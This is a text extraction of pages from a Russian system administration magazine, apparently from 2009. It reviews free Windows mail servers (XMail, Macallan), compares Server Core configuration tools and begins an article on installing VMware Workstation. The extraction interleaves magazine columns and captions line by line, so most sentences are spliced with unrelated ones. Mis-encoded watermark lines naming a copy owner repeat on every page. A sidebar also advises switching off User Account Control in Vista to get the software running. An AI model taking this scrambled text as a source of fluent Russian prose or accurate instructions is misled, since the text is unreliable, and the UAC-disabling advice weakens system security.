String: переменную MAIL_ROOT со значением C:\MailRoot настройка веб-сервера не входила в мои планы (да и да-

18
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
леко не на всяком почтовом сервере это необходимо), бы- n To change this server's configuration Click Here – 
ло решено воспользоваться утилитой XMail Manager, на- для изменения конфигурации сервера кликните здесь.
писанной на Visual Basic Майком Харрингтоном (Mike
Harrington). Ссылка для скачивания http://www.encenia.com/ Для создания доменов и почтовых ящиков нужно вы-
filelib/xmailmgr/xmgr13.exe. брать пункт Domains.
После скачивания и установки программы я так и Для человека, умеющего работать правой кнопкой мы-
не смог подключиться к серверу, так как программа тре- ши, создать домен, завести почтовый аккаунт и т. п. не со-
бовала пароль для доступа. Несколько озадаченный, ставит особого труда (см. рис. 7).
я скачал и установил другую программу – XMailAdmin, Отдельного внимания заслуживает настройка свойств
также написанную на VB (автор John Kielkopf). Резуль- самого сервера. Для этого выбираем пункт меню «Tools →
тат оказался тот же. К счастью, на страничке програм- Server Configuration» или соответствующий пункт в окне при-
мы (http://www.webifi.com/xmail) оказался FAQ, из которого ветствия (см. выше). В появившемся окне и производится
стало ясно, что необходимо воспользоваться программой большая часть настроек (см. рис. 8).
XMCrypt (находящейся теперь вместе с другими бинарни- Что же касается другой утилиты управления XMailAdmin,
ками в папке C:\MailRoot\bin) для шифрования желаемого то, учитывая тот факт, что она предоставляет довольно бед-
пароля, формат команды: ный интерфейс исключительно для манипулирования поч-
товыми доменами и учетными записями, при наличии нор-
XMCrypt {plain_password} мально работающего XMail Manager, не имеет смысла тра-
тить на нее время.
После чего выбранный логин и полученное значение не- И по традиции тест на SMTP- и POP3-аутентифика-
обходимо добавить в файл ctrlaccounts.tab, лежащий в ка- цию:
талоге C:\MailRoot\. Логин и шифрованное значение паро-
ля должны разделяться знаком табуляции, в конце строки telnet 10.0.0.249 25
должен стоять перевод строки. После чего перезапускаем 220 xmailserver.test <1231888146.1424@xmailserver.test>
соответствующую службу и пробуем подключиться к сер- [XMail 1.25 ESMTP Server] service ready;
Wed, 14 Jan 2009 02:09:06 +0300
веру. (Позже я обратил внимание, что XMail Manager пос- ehlo xmailserver.test
тавляется с утилитой XMCrypt UIб, что по сути является гра- 250-xmailserver.test
250-VRFY
фической оболочкой к вышеописанной программе XMCrypt. 250-ETRN
Как говорится: «Знать бы, где падать…») 250-8BITMIME
Программа XMail Manager при запуске выдала симпатич- 250-PIPELINING
250-AUTH LOGIN PLAIN CRAM-MD5
ное окно, в котором предложила следующие пункты: 250-SIZE
n Domains View a list of all domains on your server, and 250 STARTTLS
browse mailboxes – домены, просмотр списка всех до-
менов на сервере и почтовых ящиков. Из листинга видно, что данный продукт неплохо прора-
n Mailbox Search Quickly locate mailboxes across ботан в отношении поддержки SMTP-стандартов. Есть ау-
domains using the mailbox search – быстрое нахожде- тентификация и для почтовых клиентов под Windows и UNIX,
ние почтовых ящиков сквозь доме-
ны, используя поиск.
n Сustom Domains Manage the
custom domains located on your
server – управление выбранным
доменом, расположенным на ва-
шем сервере.
n POP3 Connectors Manage the
POP3 connectors that allow you
to link one or more mail servers
together – управление POP3-со-
единениями, позволяющие связы-
вать один или более почтовые сер-
вера вместе.
n Undeliverable Messages Manage
messages t hat could not be
delivered by your server – недо-
ставленные сообщения. Управле-
ние сообщениями, которые не бы-
ли доставлены.

И в правом верхнем углу приютил-


Рисунок 8. Окно приветствия XMail Manager (вверху слева) и вызванное окно XMail
ся пункт: Server Configuration — инструмент задания основных свойств сервера (внизу справа)

№2, февраль 2009 19


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование

Рисунок 9. Возможности доставки в XMail


ставлена попытка создать некую анти-
поддерживаются кириллические коди- При установке на Windows Vista спам-защиту, используя RBL и выбо-
ровки и шифрование. также не обошлось без неприятных рочную блокировку по параметрам.
Что же касается самой настрой- сюрпризов. При попытке выполнить Хочется отметить наличие большо-
ки SMTP-аутентификации в XMail, команду: го количество инструментария, напи-
то я потратил уйму времени, но так и санного сторонними разработчиками.
не смог разобраться, как именно это xmail.exe –-install-auto Наличие также возможности за-
делать. Либо полностью перекрыва- щищенной передачи почты при помо-
ется возможность отправки сообще- чтобы установить программу как сер- щи TLS можно отнести к дополнитель-
ний, либо почта отправляется, минуя вис, система выдала ошибку: «Отка- ным плюсам.
процесс аутентификации. Хотя в до- зано в доступе». Пришлось отключить К сожалению, минусов у програм-
кументации написано (и вывод коман- функцию «Контроль учетных записей» мы тоже хватает. Во-первых, затруд-
ды EHLO подтверждает), что аутенти- User Access Control (UAC) в Windows нен процесс инсталляции. Вроде бы
фикация поддерживается. Будем на- Vista (см. во врезке «Как отключить не нужно выполнять ничего особен-
деяться, что у истинных поклонников «Контроль учетных записей» в Windows ного, всего лишь: чтение разрознен-
XMail это получится. Vista»). ной документации (материалы с сайта,
Протестируем возможности POP3- Программа для управления сер- README, FAQ от другой программы),
аутентификации. Как видно из рис. 9, вером XMail Manager напрочь отказа- создание ключей реестра вручную,
помимо передачи открытым текс- лась устанавливаться. выдав ошиб- раскладывание частей дистрибутива
том XMail под держивает возмож- ку: «One or more necessary components по каталогам, скачивание и установ-
ность защищенной доставки сообще- could not be loaded. Please reinstall the ка дополнительного ПО с Microsoft.com,
ний при помощи TLS. А вот аутенти- application» (см. рис. 10). инсталляция программы как сервиса,
фикация производится только откры- И хотя под Windows Vista заработал создание вручную аккаунта и шифро-
тым текстом. XMailAdmin, его функций недостаточно вание пароля для доступа к управле-
для полноценного управления почто- нию сервером… Но все вместе вызы-
вым сервером (cм. рис. 11). вает глубокое недоумение, так как от-
сутствует даже самая слабая попыт-
Итоги по XMail ка хоть как-то автоматизировать про-
Данный продукт обладает многими по- цесс установки, хотя бы написав эле-
лезными свойствами, такими как пол- ментарный скрипт. Понятно, конеч-
Рисунок 10. Cообщение об ошибке при ноценная поддержка виртуальных до- но, программа бесплатная, «дарено-
запуске XMail Manager под Windows
Vista менов, списки рассылки, и даже пред- му коню в зубы не смотрят», но такое

20
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
полное пренебрежение к нуждам ко-
нечного потребителя, честно говоря, Как отключить  Открыть приложение «Учетные записи
не просто неприятно удивляет, но и «Контроль учетных записей» пользователей» (User Accounts).
вызывает подозрение по поводу бес- в Windows Vista  Нажать ссылку «Включение или от-
перебойной работы программы и до- Чтобы отключить в Windows Vista «Конт- ключение «Контроль учетных запи-
полнительных модулей. роль учетных записей» (User Access Control сей (UAC)» (Turn User Account Control
Еще одним минусом, на мой взгляд, (UAC), необходимо сделать следующее: on or off) и подтвердить продолжение
является отсутствие поддержки про-  Открыть панель управления (Control операции в диалоговом окне UAC.
токола IMAP4, что называется «из ко- Panel) и выбрать опцию «Классичес-  Нажать OK и перезагрузить систему.
робки». А единственная ссылка, даю- кий вид» (Classic View).
щая надежду на использование сто-
роннего продукта Courier IMAP with XMail на сайте http:// 2.4 ГГц RAM 512 Мб, работающем под Windows NT
www.xmailserver.org, оказалась нерабочей. Ну и отсутствие или 2000 Server. Но более подходяще будет использовать
других методов аутентификации POP3, кроме Plain Text, так- от 100 до 400 конкурентных пользователей».
же выглядит несколько удручающим.
Отсутствие встроенного веб-интерфейса выглядит не- Комментарии от автора программы
сколько несолидно, хотя и не является серьезным недо- «На Linux вы легко можете получить Open Source Mail
статком. При этом отсутствие поддержки протокола IMAP4 Servers. Для Windows 2000 или Windows XP я не нашел по-
создает ограничения для использования большинства по- настоящему свободного ПО.
пулярных веб-интерфейсов к почтовым серверам. Остает- Большинство из них либо ограничены по функциональ-
ся надеяться, что модули от сторонних разработчиков спо- ности, либо имеют временное ограничение. Поэтому я ре-
собны компенсировать данную недоработку. шился написать собственный (сервер) для моего персо-
Ну и, конечно, очень долгий запутанный процесс на- нального использования.
стройки сервера. Простейшая задача (к примеру, настрой- Я также решил предложить этот продукт другим поль-
ка аутентификации) может потребовать длительного вре- зователям, чтобы они имели выбор между программным
мени для поиска решения. обеспечением под Linux или Windows».
Данный программный продукт после определенных
доработок (установки модулей сторонних разработчиков) Установка и эксплуатация Macallan Mail Solution
можно использовать как корпоративный почтовый сервер. В разделе Downloads встречается строка: Installation
Для этого он обладает минимальным набором необходи- procedure uses Microsoft Installer and Microsoft C Runtime
мых функций. 8.0.50727.42.
То есть, как и в случае с XMail Server, необходимо ска-
Macallan Mail Solution чать и установить Microsoft C Runtime. Скачиваем и уста-
По традиции обратимся на сайт программы – http:// навливаем данную библиотеку. Необходимый дистрибутив
pagesperso-orange.fr/macallan/MMS/index.html. уже выложен на домашней страничке Macallan Mail Solution
Там указано, что: «Macallan Mail Solution is a Freeware (ссылка для скачивания http://pagesperso-orange.fr/macallan/
Mail Server (SMTP/POP3/IMAP/HTTP/NEWS/SSL/Tunnel) SETUP/vcredist_x86.exe).
для Microsoft Windows XP и Microsoft Windows 2000, который Далее необходимо просто скачать и установить саму
работает как Microsoft Outlook Express или Microsoft Outlook. программу почтового сервера (http://pagesperso-orange.fr/
Он управляет локальной почтой, входящими электронны- macallan/SETUP/MMSSetup.msi). Управление программой
ми письмами из Интернета и исходящими электронными осуществляется через довольно оригинально оформлен-
письмами на внешний почтовый адрес. ное окно.
Механизм фильтрации против спамеров использу-
ет DNSBL (DNS Black List) и ваши собственные «черные»
и «белые» списки, включает механизм проверки на виру-
сы, используя ваш антивирус. Может отсылать провайдеру
автоматические сообщения об обнаруженных спаме и ви-
русах. Возможно использование SpamAssassin.
Поддержка почтовых клиентов по протоколу IMAP пока
еще находится в стадии разработки. Нормально поддержи-
ваются все POP3-клиенты.
Secure Socket Layer (SSL) and Transport Layer Security
(TLS) поддерживаются при помощи библиотек OpenSSL .
Число локальных SMTP и локальных POP3 учетных за-
писей сейчас ограничено до 128 (раньше было 32). Нет ог-
раничения по времени использования. Если вам необходи-
мо больше аккаунтов, пришлите автору e-mail.
Программа была протестирована на 1700 смоделиро-
Рисунок 11. Окно XMail Administrator, запущенное
ванных конкурентных POP3-пользователях на Pentium P4 в Windows Vista

№2, февраль 2009 21


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
скачивания http://pagesperso-orange.fr/
macallan/SETUP/MMSHelp.zip).
Правда, присутствует возможность
ограничить пересылку почты, задав
разрешенный диапазон IP-адресов.
Но в целом это очень ограничивает
использование данного продукта, хо-
тя автор честно признается, что писал
эту программу для себя.
Тест аутентификации по POP3
(см. рис. 14) показал отсутствие воз-
можности защищенной передачи поч-
ты, но при этом выявил дополнитель-
ный метод аутентификации APOP.
Для установки и работы программы
в операционной системе Windows Vista
также потребовалось отключить «Кон-
троль учетных записей» User Access
Control (UAC) (см. врезку «Как отклю-
чить «Контроль учетных записей»
в Windows Vista»). После этого особых
проблем замечено не было.

Подведем итоги по Macallan


Рисунок 12. Окно управления программой Macallan Mail Solution с предложением
Mail Solution
перезапустить сервисы после редактирования свойств аккаунта К положительным качествам програм-
мы можно отнести сравнительную про-
При работе с программой обнаружилась весьма стран- стоту установки. Также несомненным достоинством явля-
ная особенность: при большинстве действий по настрой- ется наличие встроенного веб-интерфейса. Дополнитель-
ке, даже при изменениях некоторых параметров почто- ным плюсом является возможность использования внешне-
вых аккаунтов, администратору предлагается рестарто- го антивируса, например ClamAV. Недостатками програм-
вать сервисные службы (см. рис. 12). Для маленьких ком- мы является отсутствие хорошей подробной документации,
паний или при использовании данного продукта в качест- поддержки виртуальных доменов и IMAP4.
ве служебного почтового сервера этот каприз не помеха. Данный продукт может использоваться как служебный
Но в крупных компаниях случайный рестарт любой служ- почтовый сервер или как сервер для очень небольших ком-
бы может окончиться крупным скандалом. паний (не более 128 аккаунтов).
Помимо поддержки POP3/SMTP программа имеет
встроенный весьма функциональный веб-интерфейс для Несколько слов об остальных
просмотра электронной почты. По умолчанию доступ осу- программных продуктах
ществляется по порту 8080 (см. рис. 13). Поддержка нес- Помимо вышеописанных программ существует довольно
кольких доменов осуществляется только посредством большое число других продуктов, которые могут выпол-
domain aliasing, виртуальные домены также поддержива- нять те или иные функции почтового сервера.
ются. Некоторые из них, такие как Extra Systems Mail Server
Ну и напоследок тест на авторизацию: (http://www.esms.org.ua) или Office Mail Server (http://www.oms.
classcom.by), не имеют графического интерфейса и настра-
telnet 10.0.0.249 25 иваются исключительно путем редактирования текстовых
220 ..dyndns.org Macallan Mail Solution (4.9.07.001) файлов, включая почтовые аккаунты, что крайне неудобно
SMTP Server Ready даже при не очень большом числе пользователей. (Что ка-
ehlo dyndns.org
250-mail Hello сается Extra Systems Mail Server, то, судя по всему, авторы
250-AUTH CRAM-MD5 LOGIN PLAIN программы давным-давно забросили свое детище, послед-
250 HELP
нее обновление датируется 15 июля 2003 года.)
Некоторые продукты, такие как Courier Mail Server (пос-
Как видно из приведенного листинга, поддерживаются ледняя бесплатная версия 1.56, http://courierms.narod.ru),
метод LOGIN, PLAIN (передача открытым текстом), а так- в работе ведут себя как открытые релеи, использовать ко-
же шифрование пароля методом MD5. торые небезопасно.
К сожалению, мне так и не удалось настроить сервер на Другой программный продукт, например ArGoSoft Mail
использование аутентификации, используя прилагаемую Server .NET Freeware, является свободным только для не-
документацию. Вообще информационная поддержка край- коммерческого использования. Хотя в силу простоты на-
не скудная, из описания доступен только Help (ссылка для стройки он бы подошел для служебных функций какой-ни-

22
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
будь маленькой некоммерческой ор-
ганизации.

Заключение
Напоследок несколько рекомендаций
на тему, какой продукт лучше исполь-
зовать и при каких условиях.
Если необходимо установить пол-
ноценный почтовый сервер, я бы вы-
брал hMailServer. Правда, пришлось бы
потратить время на установку веб‑ин-
терфейса, например Apache + PHP +
SquirrelMail. Но в целом это продукт,
содержащий в себе поддержку всех
необходимых сервисов, имеющий за-
конченный вид и удобную консоль ад-
министрирования.
Если необходим почтовый сервер
только для служебных целей, напри-
мер, для получения по почте отчетов
от различного ПО, я бы остановил-
Рисунок 13. Веб-интерфейс программы Macallan Mail Solution. Окно смены пароля
ся на Macallan Mail Solution. Простой открыто поверх окна со списком отправленных сообщений
в установке, неприхотливый, это то,
что нужно для вспомогательной служ- ев, когда системному администратору минимальный функционал почтового
бы. А вот в качестве корпоративного нечем заняться в рабочее время (на- сервера. Хотя в этом случае разумнее
почтового сервера его можно рекомен- пример, в случае, когда все осталь- будет заняться изучением какой-ни-
довать только для очень небольших ное настроено и «работает как часы»). будь операционной системы семейства
компаний (например, для региональ- В этом случае в лице XMail он обретет UNIX и выбрать для почтового сервера
ных филиалов крупных фирм). некий продукт, который некоторое вре- соответствующее проверенное реше-
Что же касается использования мя не позволит ему скучать, но в целом ние, например Postfiх + Courier-IMAP +
XMail, я бы предложил его для случа- все-таки сможет обеспечить хотя бы PostfixAdmin, ну и так далее.

Рисунок 14. Тест на возможность аутентификации по POP3 для почтового сервера Macallan

№2, февраль 2009 23


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование

Графические инструменты
для Server Core

Сергей Яремчук

В Windows Server 2008 было представлено достаточно новинок, и, наверное, одна из главных –
возможность установки в варианте Server Core без графического интерфейса [1]. Такой режим
имеет много положительных сторон, но вот настройка основных параметров сервера
исключительно в командной строке не всем может прийтись по вкусу.

24
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование

И
менно наличие графического хотя и отличаются функционально, n установка имени компьютера, ра‑
интерфейса, ставшего факти‑ но имеют схожие названия. бочей группы или домена;
чески товарным знаком систе‑ Заранее хочу отметить, что ни од‑ n установка ролей и компонентов
мы от Microsoft, сделало Windows такой на из программ, описанных в обзо‑ Server Core;
популярной системой. Новички доста‑ ре, не имеет локализованного интер‑ n запуск Dcpromo для настройки кон‑
точно быстро осваивают основные на‑ фейса, но все термины являются об‑ троллера домена.
стройки как системы, так и сервисов. щепринятыми, и при наличии хотя бы
Появление режима Server Core изме‑ минимальных знаний языка и при‑ За весьма короткое время своего
нило ситуацию. нципов настройки разобраться очень развития CoreConfigurator достиг вер‑
С одной стороны, сервер априо‑ просто. сии 1.1.2, но сегодня автор, имевший
ри стал безопаснее, системные тре‑ статус MVP (Microsoft Most Valuable
бования к оборудованию изменились CoreConfigurator Professional), стал одним из служа‑
в меньшую сторону. Первой, а поэтому, наверное, са‑ щих Microsoft, и по условиям догово‑
Но с другой – новичку приходит‑ мой известной утилитой на сегод‑ ра с предыдущей компанией был вы‑
ся выполнять большую часть настро‑ ня является CoreConfigurator [3], раз‑ нужден прекратить разработку сво‑
ек исключительно в командной строке, работанный Гаем Теверовским (Guy ей утилиты и закрыть свой проект.
что требует уже определенной подго‑ Teverovsky) в марте 2008 года. Пос‑ Но файл CoreConfigurator.msi легко
товки. Так, на сайте Microsoft приведен ле установки (выполняем команду найти на других серверах, воспользо‑
такой факт: для установки IIS в Server «msiexec /i Configuratorurator.msi») и за‑ вавшись поиском.
Core администратор должен ввести пуска в меню CoreConfigurator нахо‑
923 символа. Не каждый это сможет дим 11 пунктов, обеспечиващих дос‑ Smart-X CoreConfigurator
сделать без ошибок. туп к основным настройкам, которы‑ CoreConfigurator от Теверовского был
При наличии еще одной системы ми пришлось бы управлять из команд‑ настолько популярен, что так запрос‑
с установленной Windows 2008, сер‑ ной строки: то хорошему проекту умереть не да‑
вером, работающим в Server Core, n активация продукта; ли, тем более что по контракту все
можно управлять удаленно, исполь‑ n настройка разрешения экрана; разработки, в том числе и те, кото‑
зуя консоль управления MMC, System n настройка часов и временных зон; рые велись Теверовским в нерабо‑
Center и некоторые другие инстру‑ n установка разрешений для удален‑ чее время, принадлежали его работо‑
менты. Ориентированные, как пра‑ ных RDP-подключений; дателю. В итоге компания Smart-X [4]
вило, на администрирование отдель‑ n управление локальными учетными продолжила разработку этой утилиты
ных ролей. В том числе есть вариан‑ записями (создание, удаление, до‑ под тем же названием, распространяя
ты и других систем Windows. Напри‑ бавление в группы, управление па‑ ее под freeware-лицензией (для персо‑
мер, для настройки Hyper‑V можно ис‑ ролями); нального некоммерческого использо‑
пользовать диспетчер для Vista SP1 n установка разрешений и запретов вания). При ее применении в корпо‑
(support.microsoft.com/kb/952627). для Windows Firewall; ративной сети следует уже приобрес‑
Но таких утилит немного, а при по‑ n включение/отключение WinRM; ти лицензию, которая стоит 66$ (годо‑
мощи MMC можно сделать далеко n настройка сетевого интерфейса вая подписка) или 99$ (для 1 серве‑
не все. Первоначальные установки все (IP-адрес, маска сети, шлюз, адре‑ ра). Текущей является версия 1.3.0.1
равно придется производить в коман‑ са DNS-серверов); от 1 февраля 2009 года. Никаких ог‑
дной строке. раничений CoreConfigurator в бесплат‑
Система в Server Core имеет до‑ ной редакции не имеет, только при его
статочно ограниченный набор функ‑ запуске будет появляться окно с пре‑
ций в API, связанных с графикой. дупреждением.
Ссылки на все функции и возможнос‑ После запуска утилиты, вводом
ти описаны в документе «Developing в командной строке команды «Start
Management Applications for Server CoreCFG», в появившемся меню об‑
Core» [2]. Например, нет поддержки наруживаем 17 пунктов.
для запуска локальной MMC. Кроме тех, которые были в ориги‑
Как результат – задача разработки нальном CoreConfigurator, появились
программы с графическим интерфей‑ возможности:
сом для Server Core несколько затруд‑ n настройка резервирования разде‑
нена, но это не значит, что она совсем лов компонентом WindowsServer
невозможна. Backup;
В итоге в настоящее время доступ‑ n региональные установки;
но несколько утилит, в том числе и име‑ n настройка параметров автомати‑
ющих графический интерфейс, при по‑ ческого обновления;
мощи которых можно произвести ос‑ n управление сервисами;
новные настройки сервера в этом ре‑ Server Core Configurator предоставляет n запуск редактора реестра и диспет‑
самое большое количество настраиваемых
жиме. Интересно отметить, что они параметров чера задач Windows.

№2, февраль 2009 25


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
Все настройки довольно просты Непосредственно на Server Core n установка имени компьютера,
и понятны, выбираем пункт и вводим/ распаковать CAB-файл можно при по‑ подключение к домену, запуск
отмечаем нужное значение. мощи команды expand: Dcpromo;
Утилиту можно свободно скачать n настройка сетевых интерфейсов
с сайта разработчика, в виде ZIP-ар‑ > expand CoreConfigurator.cab ↵ (просмотр, настройка, переиме‑
-f:* C:\
хива или ISO-образа. нование, отключение, добавление
Доступно также 33-страничное, Далее запускаем находящийся DNS, ISCSI);
весьма подробное руководство на ан‑ внутри скрипт Setup-Core.wsf, после n установка/удаление/просмотр ро‑
глийском языке. В нем, в частнос‑ чего появится меню. лей и компонентов;
ти, поясняется, какие параметры ак‑ Принцип работы с Server Core n управление учетными записями
тивируются при выборе тех или иных Configurator несколько отличается пользователей, входящими в груп‑
пунктов. от двух предыдущих программ. Па‑ пу локальных администраторов;
раметры работы выбираются вводом n управление общими каталогами;
Server Core Configurator цифр или букв, которые соответству‑ n Control Panel (дата, время, регио‑
В рамках проекта CodePlex (Open ют нужному пункту. нальные настройки, установки мо‑
Source от Microsoft) также разраба‑ Настраивать систему, прак ти‑ нитора, скринсейвер, RDP, WinRM,
тывается аналогичный инструмент – чески блуждая в меню Server Core добавление драйверов, автомати‑
Server Core Configurator [5], распростра‑ Configurator, несколько сложнее, но все ческие обновления, включая WSUS,
няемый под лицензией Microsoft Public же удобнее, чем вручную. Findows Firewall);
License (Ms-PL). Версия с CodePlex Всего насчитывается 10 пунктов, n Server Hardening Menu (отключе‑
представляет собой коллекцию VBS при выборе некоторых из них будут ние – LAN, PPP интерфейсов, IPv6,
(Visual Basic Scripting) скриптов, упа‑ вызваны дополнительные меню и под‑ тюнинг NTFS);
кованных в CAB-файл или в ISO-об‑ меню: n информация о системе;
раз (есть и исходные тексты). n лицензия (текущий статус, настрой‑ n вызов менеджера задач.
Установка заключается в распаков‑ ка прокси, активация, установка
ке архива на другом компьютере и ко‑ ключа, сброс текущего статуса ли‑ Чтобы вернуться в предыдущее ме‑
пировании на сервер. цензии – всего 12 пунктов); ню, следует нажать клавишу <X>.

Первая из подобных утилит – CoreConfigurator Теверовского

26
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование
Пунктов настроек Server Core Configurator имеет доволь‑
но много, и по возможностям он превосходит все осталь‑
ные программы обзора.

Core Configuration Console


Это bat-скрипт [6], создан Джоахимом Неслендером
(Joachim Nasslander) – еще одним разработчиком, имею‑
щим статус MVP, по принципу работы схож с предыдущим.
Распространяется как freeware, в виде ZIP-архива или ISO-
образа. Установка не требуется, достаточно распаковать
его в каталог на сервере.
Вместо графического окна, как в пакете Server Core
Configurator, здесь все команды выводятся в командной
строке.
Меню состоит из 9 пунктов, из которых 2 последних
обеспечивают перезагрузку/остановку сервера и выход
Smart-X CoreConfigurator – удобная утилита с графическим
в CMD.exe. интерфейсом
Назначение остальных:
n установки компьютера (сеть, менеджер задач, имя сер‑
вера, лицензия, автоматическое обновление, разреше‑
ние экрана, изменение пароля);
n подключение к домену;
n региональные настройки, время и дата;
n настройки Windows Firewall и удаленного управления
(в том числе создание общих каталогов, удаленное под‑
ключение администратора через сервер терминалов,
WinRM и другие);
n просмотр списка установленных/доступных ролей
и компонентов, помощь в установке;
n быстрые настройки (IP-адрес, имя компьютера, Core Configuration Console - простой в использовании
домен); bat-скрипт
n настройки Core Configuration Console (установка
в C:\Windows, изменение переменной PATH, включение Перенеся их с любого Hyper-V Server, можно без проб‑
в автозагрузку). лем запустить скрипт.

Учитыва я меньшее количес тво функций, Core Заключение


Configuration Console проще варианта от CodePlex. Утилит, упрощающих настройку Windows Server 2008 в ре‑
Единственным его минусом является то, что вместо жиме Server Core, как видите, не очень много, и вряд ли
непосредственно установки ролей и компонентов пред‑ здесь предвидится большое разнообразие. Ведь сфера
лагается лишь ссылка на поясняющую документацию применения весьма специфическая и ограничена неболь‑
Microsoft. шим набором параметров. Выбрав любую из предложен‑
Но кроме помощи в настройке системы он может по‑ ного списка, можно быстро настроить сервер, даже не зная
мочь в изучении системы. Так как фактически содержит консольных команд.
список основных настроек Server Core, которые иначе приш‑
лось бы искать по многим документам. 1. Бирюков А. Windows 2008 Server Core: Windows без окон. //Сис‑
темный администратор, №1, январь 2008 г. – С. 9-13 (http://www.
HVConfig samag.ru/art/01.2008/01.2008_02.html).
Утилита HVConfig [7] во многом похожа на Core Configuration 2. Developing Management Applications for Server Core – http://msdn.
Console, но ориентирована на применение в Microsoft microsoft.com/en-us/library/ms723872(VS.85).aspx.
Hyper-V Server 2008. Хотя ничто не мешает использовать 3. Страница CoreConfigurator – http://blogs.microsoft.co.il/files/
ее в Server Core, где с ее помощью можно произвести на‑ folders/guyt.
стройки, аналогичные Core Configuration Console (за исклю‑ 4. Сайт Smart-X CoreConfigurator – http://www.smart-x.com.
чением управления ролями). Правда, при запуске скрипт 5. Сайт Server Core Configurator – http://www.codeplex.com/
проверяет наличие трех файлов, без которых его работа CoreConfig.
прерывается: 6. Сайт Core Configuration Console – http://www.nullsession.com/
n C:\Windows\System32\hvconfig.cmd: ссс.
n C:\Windows\System32\en-US\hvconfig.vbs: 7. С т р а н и ц а HVConfig – ht tp: // blogs.dir team.com / blogs /
n C:\Windows\System32\en-US\WUA_SearchDownload sanderberkouwer/archive/2008/10/03/making-hvconfig-work-on-
Install.vbs. a-normal-server-core-installation.aspx.

№2, февраль 2009 27


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
администрирование

VMware Workstation 6.5.


Способы установки
Иван Коробко
На практике используется самый простой, но не самый эффективный способ установки
VMware Workstation. Рассмотрим особенности установки этого приложения подробнее.

В
компаниях-разработчиках про- продукта. В литературе в подавляю- способ установки. Однако иногда тре-
граммного обеспечения необ- щем большинстве случаев работа мас- буется изменить список компонентов,
ходимо тестировать создавае- тера не рассматривается либо говорит- устанавливаемых по умолчанию. В та-
мые продукты. Обычно это необходи- ся о том, что это настолько просто, что ких ситуациях приходится отказаться
мо сделать на нескольких разных плат- не стоит уделять внимание. Пользова- от автоматической установки. Исполь-
формах. Содержать парк физических тель же видит только вершину айсбер- зуя программу ORCA.EXE [1], входя-
компьютеров с разными операционны- га – работу мастера. Поэтому рассмот- щую в комплект SDK Windows Installer,
ми системами для тестирования про- рим доступные способы установки. можно достаточно просто скорректи-
граммного обеспечения – дорогое удо- ровать этот список. Для этого необхо-
вольствие. Оптимально использовать Установка с помощью димо в программе ORCA открыть файл
такой продукт как VMware Workstation. мастера базы данных VMware Workstation.msi
Здесь можно устанавливать не толь- Работа мастера подразумевает ответ и перейти к таблице Feature, которая
ко разные версии операционных сис- пользователя на ряд задаваемых воп- состоит из нескольких колонок. Мастер
тем, но и эмулировать различное коли- росов. Рассмотрим подробно на при- в явном виде отображает значение ко-
чество дискового пространства, объем мере. лонок Title, Description, Display и Level.
оперативной памяти, количество про- После запуска EXE-файл автомати- С помощью значения Display управля-
цессоров и т. д. VMware Workstation чески распаковывает CAB- и MSI-фай- ют отображением компонентов: если
идеально подходит для различных за- ла в папку %TEMP%\{A3FF5CB2-FB35- значение равно нулю, то он не отобра-
дач: начиная от работы сетевых при- 4658-8751-9EDE1D65B3AA}~setup. жается в списке. Возможность его ус-
ложений, например игр или баз дан- Далее осуществляется выполнение тановки управляется с помощью зна-
ных, и заканчивая организацией тес- VMware Workstation.msi. чения параметра Level. Если Level = 1,
